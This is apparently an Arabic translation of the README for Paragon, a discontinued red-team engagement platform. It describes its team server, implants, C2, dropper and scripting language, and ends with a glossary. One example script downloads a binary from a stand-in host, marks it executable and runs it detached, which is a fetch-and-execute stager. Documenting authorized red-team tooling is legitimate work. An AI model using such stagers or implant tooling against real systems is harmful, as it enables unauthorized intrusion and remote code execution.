
منصة مشاركة الفريق الأحمر تهدف إلى توحيد الأدوات الهجومية خلف واجهة مستخدم بسيطة.
تم إيقاف هذا المشروع، يُرجى الرجوع إلى مشروعنا الجديد Realm project، الذي يبني على العديد من الأفكار التي كانت لدينا عند بناء هذا المستودع.

باراغون هي منصة للمشاركة في فريق الاختراق (Red Team). تهدف إلى توحيد الأدوات الهجومية خلف واجهة مستخدم بسيطة، وتجريد الكثير من العمل الخلفي لتمكين المشغلين من التركيز على كتابة البذور (implants) وقضاء وقت أقل في القلق بشأن قواعد البيانات و CSS. كما يوفر المستودع بعض الأدوات الهجومية المدمجة بالفعل مع باراغون ويمكن استخدامها أثناء المشاركات.
هذا المستودع لا يزال قيد التطوير المكثف وليس جاهزًا للاستخدام الإنتاجي. عندما يعتبر مستقرًا، سيتم إصدار علامة V1.0.0. حتى ذلك الحين، قد تواجه واجهة البرمجة تغييرات مكسرة مع قيامنا بتبسيط تصميمنا باستمرار. يُرجى قراءة وثائق المطور أدناه إذا كنت ترغب في مساعدتنا في الوصول إلى هذا الإنجاز بشكل أسرع.
يمكن إعداد نموذج توضيحي سريع عن طريق استنساخ المستودع وتشغيل docker-compose up. افتح 127.0.0.1:80 في متصفحك للبدء!
الصور المستخدمة متاحة على docker-hub ويمكن تكوينها من ملف docker-compose للنشر الإنتاجي.
تعتمد معظم المكونات في هذا المستودع على لغة برمجة نصية شبيهة بـ Python تتيح تحكمًا قويًا وتخصيصًا لسلوكها. اللغة هي نسخة معدلة من Google's starlark، مع إضافة وظائف عبر المنصات للمشغلين. يتيح هذا أيضًا لأدوات مثل الوكيل (agent) والمُسقط (dropper) (الموضحان أدناه) تنفيذ المهام دون الاعتماد على البرامج النظامية الثنائية (curl, bash, إلخ). يتم تنفيذ جميع العمليات ككود في Go، لذا من البديهي إضافة وظائف إضافية إلى بيئة البرمجة النصية. إليك مثال على سكريبت:
# تنزيل ملف عبر https، تنفيذه، وعدم الإبقاء عليه كعملية تابعة.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# تعيين صلاحيات new_bin إلى 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
يوفر تطبيق ويب بسيط وواجهة GraphQL API للتفاعل مع رسم المعرفة (knowledge graph) لفريق الاختراق، مما يوحد الأدوات خلف مصدر حقيقة مركزي ويجرد العديد من الاهتمامات الخلفية المملة من المشغلين. قم بدمج أدواتك المخصصة مع خادم الفريق (باستخدام GraphQL API أو اشتراكات الأحداث) لتوفير الوقت في العمل الخلفي. يسجل خادم الفريق جميع الأنشطة، لذا مع توحيد جميع أدواتك في مكان واحد، يصبح كتابة تقارير ما بعد المشاركة أسهل بكثير.
الأدوات التالية مضمنة أيضًا في المستودع. يمكن توسيعها بسهولة لتناسب العديد من حالات الاستخدام عبر المنصات.
يوفر باراغون أداة لتجميع الأصول (برامج ثنائية، سكريبتات، إلخ) في برنامج ثنائي واحد عند تنفيذه سيتم تشغيل سكريبت النشر المخصص الذي قد يكتب الأصول إلى نظام الملفات، تشغيل العمليات، تنزيل الملفات، معالجة الأخطاء، والمزيد. إنه متعدد المنصات بالكامل ومجمع بشكل ثابت، مما يوفر نشرًا موثوقًا. إذا كنت ترغب في توسيع وظائفه، يمكنك ببساطة توسيع ملف Go الذي تم إنشاؤه قبل التجميع.
بذرة (implant) تنفذ المهام وتقدم نتائج التنفيذ. تم تكوينه افتراضيًا لتنفيذ المهام باستخدام لغة البرمجة النصية الشبيهة بـ Python الخاصة بباراغون والتواصل مع C2 عبر http(s). هو مكتوب بلغة Go ويمكن تعديله بسرعة لإضافة طرق نقل جديدة (مثل DNS) وخيارات تنفيذ ومنطق تجاوز الفشل والمزيد.
يعمل كوسيط بين الوكيل وخادم الفريق. يتعامل مع استرجاعات الوكيل (agent callbacks) لمجموعة متنوعة من آليات الاتصال ويزوده بمهام جديدة من قائمة انتظار خادم الفريق.
بدلاً من انتظار استرجاع (callback)، قد تتطلب بعض المواقف اتصالًا أماميًا (forward connection) لتنفيذ مهمة بسرعة وعرض مخرجاتها. يحقق المُشغّل ذلك عن طريق الاشتراك في قوائم انتظار المهام وإنشاء اتصال بالجهاز الهدف (على سبيل المثال باستخدام ssh). يتيح هذا عمليات التكامل الشبيهة بالصدفة (shell-like) لاستخدام نفس الواجهة مثل البذور (implants) و C2s. كما يسمح بنشر البذور الأولية من خلال هذه الواجهة.
مراقبة نشاط الشبكة الهدف والخدمات المرئية. رسم مخطط بياني لشبكة المشاركة، وتشغيل الأتمتة عند تغيرات الحالة (مثل توفر ssh).
تعيين متغير البيئة PG_KS_MachineUUID killswitch لخادم الفريق سيعطل عمليات البحث التي تستخدم UUIDs للأجهزة.
لضمان التواصل الواضح حول هذه الأنظمة المعقدة، قمنا بتوضيح بعض المصطلحات الخاصة بالمشروع أدناه والتي سيتم استخدامها في جميع أنحاء وثائق المشروع.
أي برنامج ضار سيتم تشغيله على الأنظمة المخترقة أثناء المشاركة.
العمليات المطلوب تنفيذها على نظام مخترق معين. توفر المهام تعليمات التنفيذ للبذور (implants)، ومع ذلك يمكن أن يكون بناء الجملة / الهيكل محددًا تمامًا لأداة معينة.
بذرة (Implant) تتلقى المهام من خادم الفريق، وتنفذها، وتقدم نتائجها. يتم تضمين تطبيق افتراضي قابل للتوسيع مع هذا المستودع، والذي يتطلب تقديم المهام كسكريبتات مكتوبة باستخدام لغة DSL الشبيهة بـ Python الخاصة بالمشروع.
طلبات من خادم الفريق لتنفيذ مجموعة من العمليات المحددة. عند إنشاء وظيفة، سيتم حفظ التعليمات ولكن لن يتم تنفيذها. يمكن للمستخدم طلب من خادم الفريق تنفيذ وظيفة صفر أو أكثر من المرات عن طريق وضع الوظيفة في قائمة الانتظار وتوفير المعلمات المطلوبة لها. لا يمكن أبدًا تحديث الوظائف، ولكن يمكن إنشاء إصدارات جديدة من الوظائف لتجنب النسخ واللصق المفرط.